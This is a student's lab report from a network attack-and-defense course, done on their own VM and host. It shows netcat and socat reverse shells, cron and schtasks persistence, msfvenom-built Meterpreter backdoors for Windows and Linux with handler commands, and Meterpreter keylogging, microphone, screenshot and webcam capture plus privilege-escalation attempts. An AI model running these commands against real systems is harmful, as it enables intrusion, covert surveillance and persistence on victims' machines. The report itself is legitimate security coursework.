20232304 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20232304 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1 实验内容

  1. 使用netcat工具对虚拟机进行远程攻击,获取其Shell,使用cron程序计划并启动任务
  2. 使用socat工具攻击Windows主机,尝试获取主机Shell, 使用任务计划启动自制程序
  3. 使用MSF 生成后门程序,利用ncat或socat传送到Windows主机并运行,并在虚拟机上操作尝试获取主机Shell
  4. 使用MSF 生成的后门程序,获取目标主机音频、摄像头、击键记录等隐私信息,并尝试提权
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

需要掌握的知识点:

后门:绕过正常认证流程而访问系统的通道

编译器后门:通过感染编译器软件,使所有由其编译的程序都包含恶意代码的后门类型

操作系统后门:隐藏在操作系统内核或核心组件中的后门类型

进程隐藏技术:后门用于隐藏自身进程不被发现的技术

进程伪装:将恶意进程伪装成系统正常进程的隐藏技术

Netcat:被称为"瑞士军刀"的网络工具,可用于建立正向/反向Shell连接

SocatNetcat的增强版工具,支持更多协议如SSL

MeterpreterMetasploit框架中的高级内存驻留型Payload,提供丰富控制功能

MSFVenomMetasploit框架中用于生成各类Payload的工具

1.2 问题回答

1.2.1 例举你能想到的一个后门进入到你系统中的可能方式?

  • 捆绑恶意软件:攻击者将后门程序与正常的、受欢迎的软件进行捆绑。当用户在非官方或不可信的渠道下载并运行这些软件时,后门便会悄无声息地一并安装到系统中。
  • 利用系统或软件漏洞:攻击者通过利用操作系统或应用程序中未修复的安全漏洞,在用户未察觉的情况下远程创建后门或植入后门程序。例如,用户访问了被植入恶意代码的网页,或者系统存在未打补丁的远程代码执行漏洞。
  • 钓鱼邮件:用户点击了伪装成正规机构的恶意邮件中的链接或附件。
  • 即时通讯软件:攻击者通过被盗号的QQ、微信等好友账号,发送带有后门的文件。
  • 恶意广告:在不可靠的网站上,误点击了含有恶意代码的弹窗广告。
  • 物理介质:使用来历不明的U盘等移动存储设备,可能在其自动运行脚本或文件中隐藏后门。

1.2.2 例举你知道的后门如何启动起来(win及linux)的方式?

操作系统 启动机制 描述
Windows 计划任务 使用 schtasks命令创建定时任务,让后门程序按特定时间(如每分钟)或系统事件(如锁定工作站时)自动运行。
注册表键 将后门程序路径添加到自启动注册表项,如 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,实现开机或用户登录时启动。
服务自启动 使用 sc命令将后门程序创建为系统服务,并设置为自动启动,使其在后台以较高权限运行。
Linux Cron定时任务 通过 crontab命令添加定时任务,使后门在特定时间点或周期性地执行。
系统服务 将后门配置为守护进程(daemon)或系统服务,实现开机自启。
启动脚本 将后门启动命令添加到Shell脚本,并置于如 /etc/rc.local等启动目录下,在系统启动时运行。
共享库注入 通过修改环境变量(如 LD_PRELOAD)来劫持正常程序加载的动态链接库,从而注入后门代码。

1.2.3 Meterpreter有哪些给你映像深刻的功能?

  • 强大的远程控制:提供Shell,允许攻击者在目标系统上执行命令,就如同操作自己的电脑一样。

  • 信息收集与窃取: 能窃取多种多样的信息,如:

    击键记录:使用 keyscan_startkeyscan_dump命令记录用户的键盘输入,可能窃取密码、聊天记录等敏感信息。

    屏幕截图:使用 screenshot命令获取目标主机的当前屏幕画面。

    音频与摄像头捕获的图像信息:使用 record_micwebcam_snap命令可以录制麦克风声音或通过摄像头拍照

  • 权限提升:内置 getsystem等提权模块,尝试将获取的Shell权限从普通用户提升至系统最高权限(如SYSTEM/root)。

  • 高隐蔽性与灵活性:Meterpreter完全运行在内存(RAM)中,不向硬盘写入文件,难以被传统杀毒软件检测。同时,它支持“进程迁移”功能,可以将自身会话从一个进程跳转到另一个更稳定的系统进程(如explorer.exe)中,实现更持久的隐蔽。

1.2.4 如何发现自己有系统有没有被安装后门?

  • 分析系统进程:打开任务管理器(Windows)或使用 ps aux命令(Linux),仔细检查是否存在可疑进程。

  • 查看自启动项

    Windows:使用 msconfig或任务管理器的“启动”选项卡,仔细检查注册表Run键、计划任务、服务等所有自启动位置。

    Linux:检查 crontab -l/etc/rc.local/etc/init.d/等位置的启动脚本和定时任务。

  • 使用安全软件扫描:使用杀毒软件进行全盘扫描,它们可以检测和清除已知的后门程序。同时要及时修补安全漏洞。

2.实验过程

2.1 使用ncat获取Linux虚拟机shell

首先,在Windows主机上使用ipconfig命令获取主机IP地址,获取结果为172.16.178.44
1c6b565aa24c3bfde5af005efeafe71f

之后,在Windows主机上打开ncat监听
8c9c169b2c6359238770977c0dd92744

在linux虚拟机上反弹连接Windows主机
9f5ce030972d39e400108da10ab63359

在Windows主机上已经获得了linux虚拟机的Shell,键入ls,可以查看linux虚拟机中的文件和文件夹
ebf16b73d7c6ed118693015aa4391da4

2.2 使用cron计划任务

首先,我们必须在root用户下才能使用cron,所以需要先将Linux虚拟机上用户更换为root用户,并与Windows主机重新建立连接,如图所示
8792aa0a461f38746b69c95a9a741cbc

我们在用ncat得到的shell中输入echo "*****echo "20232304">/home/kali/Desktop/20232304_1.txt"> /var/spool/cron/crontabs/root ,其中:

整个命令的结构是:echo "字符串" > 文件路径。它将其中的“字符串”内容覆盖写入到指定的“文件路径”中。


1:被写入的内容(字符串)

"*****echo "20232304">/home/kali/Desktop/20232304_1.txt"
  1. 时间字段:\**\**\*这5个星号是cron的时间表达式,分别代表(从左到右):

    分钟 (*): 每小时内的每一分钟

    小时 (*): 每天内的每一小时

    日期 (*): 每月内的每一天

    月份 (*): 一年内的每一月

    星期 (*): 每周内的每一天

    因此,这个时间配置意味着任务将每分钟都执行一次

  2. 要执行的命令:echo "20232304">/home/kali/Desktop/20232304_1.txt这是cron每分钟会去执行的命令。echo "20232304": 输出字符串 20232304

    >: 重定向操作符,将左侧命令的输出覆盖写入到右侧的文件。

    /home/kali/Desktop/20232304_1.txt: 目标文件的绝对路径。

    命令综合含义:每分钟都将字符串 20232304写入到文件 /home/kali/Desktop/20232304_1.txt中。

    并且每次写入都会清空文件原有内容


2:输出目标文件路径

/var/spool/cron/crontabs/root
  • 这是Linux系统中root用户的cron任务配置文件
  • 系统会主动读取该文件中的内容来定义root用户的定时任务。
  • 普通用户无法直接修改此文件,执行此命令需要root权限这也是前面为什么我们要先切换为root用户的原因

f6780e0739294165d2216d0a91ef96ef

执行结果不会直接有所显示,需要我们使用crontab -l命令查看,结果如下图所示
756282b7994788e3e773d7f6fce6670a

或者也可以查看路径中的root文件进行确认,如下图所示
b86e8e51aa153d7f75e29796dcf83220

二者都表明我们已经成功新建了任务。

最后,我们查看桌面上生成的文件内容来确定是否被正确写入,如图所示:

06c9e0698e1611a5abf0f8ba6fb03aaf

证明任务成功。

2.3 使用socat获取Windows主机shell

在学习通的资料区下载socat并解压,由于我们没有配置环境变量,所以后续所有操作都需要在解压的文件夹内种进行。

在此文件夹中打开终端,输入./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr,这里我们指定监听端口为8888,执行程序为cmd.exe ,并利用socat的伪终端(pty)功能和标准错误输出(stderr)来构建一个类似终端的良好交互环境,执行结果如图所示:

20e3ce48694c3397355c8f580635ec66

然后再在Linux虚拟机上输入socat - tcp:172.16.178.44:8888进行连接,如图所示:
7882fb36ebc755298a420be0fe9edc5f

2.4 在虚拟机上为Windows主机创建任务计划

首先我们自己编写一个程序并编译得到exe文件,在之后作为任务计划的执行程序,我所编写的程序内容如下:

062d09ac718cf089fb2e6408e1f532b2

其功能为在程序所在的目录下创建一个以“当前时间+20232304”为文件名(格式为 YYYYMMDDHHMMSS20232304.txt)、内容为空的文本文件。对其编译得到exe文件备用。

在Linux虚拟机上使用schtasks命令创建任务计划,具体命令为:schtasks /create /sc minute /mo 1 /tn "20232304fty"/tr"E:\2026年上学期文件\网络与系统攻防技术\实验\实验二:后门原理与实践\程序\20232304.exe,其具体含义为:每分钟自动执行一次位于 E:\2026年上学期文件\网络与系统攻防技术\实验\实验二:后门原理与实践\程序\ 路径下的名为20232304.exe 的程序。执行结果如下图所示:

c768cf983a7ac88bf77f63834061d04d

在Windows主机上查看活动的任务计划,如图所示:

1d05cb1eddb9ba6341c2c5ac8a08eccd

可以看到我们已经成功创建了任务计划。

2.5 使用MSF 生成后门程序,利用ncat或socat传送到Windows主机并运行,并在虚拟机上操作尝试获取主机Shell

首先关闭Windows上的防火墙和所有安全防护软件(包括自行安装的安全防护软件以及Windows Defender)

bacb9ea602e82acda306b3d888a2edf2

我在这里先打开了Windows主机上的ncat监听,指定传输文件并写入到桌面上的20232304backdoor.exe,如图所示
cd66e332745c25d91c338701c1281b85
8173604bd5aedc04f546bbfadaf680ba

之后在Linux主机上使用msfvenom程序生成针对于Windows系统的后门程序,指定控制主机和端口为Linux虚拟机上的2304端口,输出为20232304backdoor.exe,并使用ncat传输到Windows主机。如图所示:

dba4755236666133aff56f3363373c4e

在Linux虚拟机新建一个终端,输入msfconsole来打开msf软件控制台
依次输入:

use exploit/multi/handler //使用exploit攻击
set payload windows/meterpreter/reverse_tcp //设置payload(在这里用来表示攻击类型)为针对Windows系统的反向TCP攻击
set LHOST 192.168.179.129 //设置攻击主机为本虚拟机(192.168.179.129为本机IP地址,并且与Windows主机在同一局域网内)
set LPORT 2304 //设置攻击端口为2304端口

exploit //开始执行攻击

结果如图所示:

f8c12dbe66472b80bd03d51f154400e8

表明Linux虚拟机已经开始监听,等待来自其他设备的TCP连接

在Windows主机上双击运行后门程序20232304backdoor.exe,此时在Linux虚拟机上就成功建立了连接,如图所示,可以开始操作:
0d011707472712f23770b112c644c6b2

输入ls即可查看当前目录下所有文件,证明连接成功,如图所示:
a37f3c1e609ce5422ec864daf34d7a91

2.6 继续获取Windows主机的音频,摄像头拍摄画面,屏幕截图,键盘输入等隐私信息,并尝试提权

在刚才的终端继续输入:

2.6.1 获取键盘输入内容

开始获取输入:输入keyscan_start;结束获取:输入keyscan_dump.

运行结果如图所示:
a37f3c1e609ce5422ec864daf34d7a91

2.6.2 通过麦克风获取实时音频

使用record_mic命令,会自动录制10秒的音频并存储在当前用户的主文件夹下,运行结果如图所示:
fefc5b7e31cf314982452220578b7d2b
1ea87e23bda971d3bf1e3e2f32886f9e

2.6.3 获取实时屏幕截图

使用screenshot命令,得到的屏幕截图也是位于对应登录用户的主文件夹下,如图所示
image

1ea87e23bda971d3bf1e3e2f32886f9e
image

2.6.4 通过摄像头获取实时画面

使用webcam_snap命令,获取的图片也是位于当前用户的主文件夹下,如图所示:

(忽略只有头发的图片内容)
image
image

2.6.5 尝试提权

使用getsystem命令,但是由于我使用的Windows系统为当下最新的Windows 11 25H2,许多漏洞已经被修复,在尝试多个其他漏洞之后都是得到Windows 11 25H2 is not vulnerable提示,无法获得系统(SYSTEM)权限,只能作罢。
image

2.7 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

与创建Windows后门程序类似,这里也是使用msfvenom程序生成Shellcode,用于反向TCP获取shell。

输入命令: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.179.129 LPORT=2304 -x /home/kali/pwn1 -f elf > pwn20232304

其中:

-p linux/x86/meterpreter/reverse_tcp //攻击类型为32位Linux,反向TCP攻击

LHOST=192.168.179.129 //目标主机IP

LPORT=2304 //目标端口

-x /home/kali/pwn1 //表示使用程序模版,并指定pwn1文件作为模版

-f elf > pwn20232304 //表示输出文件指定为Linux系统下的可执行文件ELF文件格式

执行结果如图所示:

981e90a378401ed46fa10571edd715c9

我们需要对生成的文件添加执行权限,如图所示:

0af717778c6fe262b1fde0d70b986cd3

之后在另一个终端中输入msfconsole,以开始监听

8fd6e4cf5ef5afaa870413b3b0aa6523

依次输入:

use exploit/multi/handler //使用exploit攻击
set payload linux/x86/meterpreter/reverse_tcp //设置payload(在这里用来表示攻击类型)为针对32位Linux系统的反向TCP攻击
set LHOST 192.168.179.129 //设置攻击主机为本虚拟机(192.168.179.129为本机IP地址,并且与Windows主机在同一局域网内)
set LPORT 2304 //设置攻击端口为2304端口

exploit //开始执行攻击

运行结果如下,表示已经开始监听等待来自其他设备的TCP连接

8fd6e4cf5ef5afaa870413b3b0aa6523

回到之前的终端,运行pwn20232304文件

986e39d035e005b40a1a71d940e0907e

在另一个终端中可以看到已经成功建立会话,输入ls,有内容输出,证明成功连接,如图所示:

d7cdd82d4d4b7c352a60e108131d9378

3.问题及解决方案

  • 问题1:传输过去的后门文件执行后几秒种就自动停止运行导致无法建立连接

  • 问题1解决方案:

    非常诡异的问题,我反复试验了多次,包括但不限于:

    • 更换主机端口
    • 更换payload,比如指定系统位数

    等等不一而足,但是依然无法成功运行,后来我又在Windows主机上下手,关闭了所有的防注入保护,如图所示,但是还是没有效果。

​ 我查阅了系统日志,发现显示报错代码为0xC0000005,表示内存访问冲突,并且是在一个Windows系统的关键动态链接库ntdll.dll上出了问题,更让我摸不到头脑。我发现20232409毕悠尘同学与20232321罗乙又同学有同样的问题,我把我的发现告诉了他们。

​ 后来20232409毕悠尘同学有所启发(此处应有掌声),她认为是系统的原因:Kali Linux 系统中安装的 Ruby 版本(Ruby 3.1)与 Metasploit 框架当前版本所依赖的 Ruby 版本不兼容。我按照她所说更新了metasploit框架和Ruby版本都更新到了最新,但是依然没有解决我的问题。最后我索性一次性更新了系统里所有可以更新的软件,问题才得到解决,但是因为之前没有留下所有软件的版本,到底是哪些软件之间有冲突导致失败,也无从考证了。

4.学习感悟、思考等

本次实验,实际上是我们第一次自己完成接近传统意义上”黑客“这一身份的实验,让我感到非常新奇,也感到非常的有意思。第一次能够控制另一台主机的所有设备,使我真正感受到了网络安全的重要性。”纸上得来终觉浅,绝知此事要躬行“,之前的网络安全的认知都只存在于理论,真正的动手实践下来,才更理解为什么要安装安全防护软件,为什么要采取那么多的措施来保护计算机安全。

通过实验,我不仅学会了如何“攻击”,更重要的是理解了如何“防御”。比如在尝试提权时,由于Windows 11系统已修复相关漏洞,getsystem命令未能成功。这让我意识到,及时更新系统实在是防御已知攻击的关键手段。此外,在检查计划任务和网络连接时,我也开始思考如何在实际环境中发现类似的后门行为,比如通过监控异常进程、检查网络连接等,将隐患扼杀在萌芽之时。Meterpreter的强大功能让我印象深刻,但同时也让我意识到技术背后的伦理责任。

通过解决在实验中发现的问题,我的耐心与错误排查能力得到了进一步提高,这也是最让我欣慰的一件事了。

参考资料

posted @ 2025-10-19 19:36  20232304冯天悦  阅读(14)  评论(0)    收藏  举报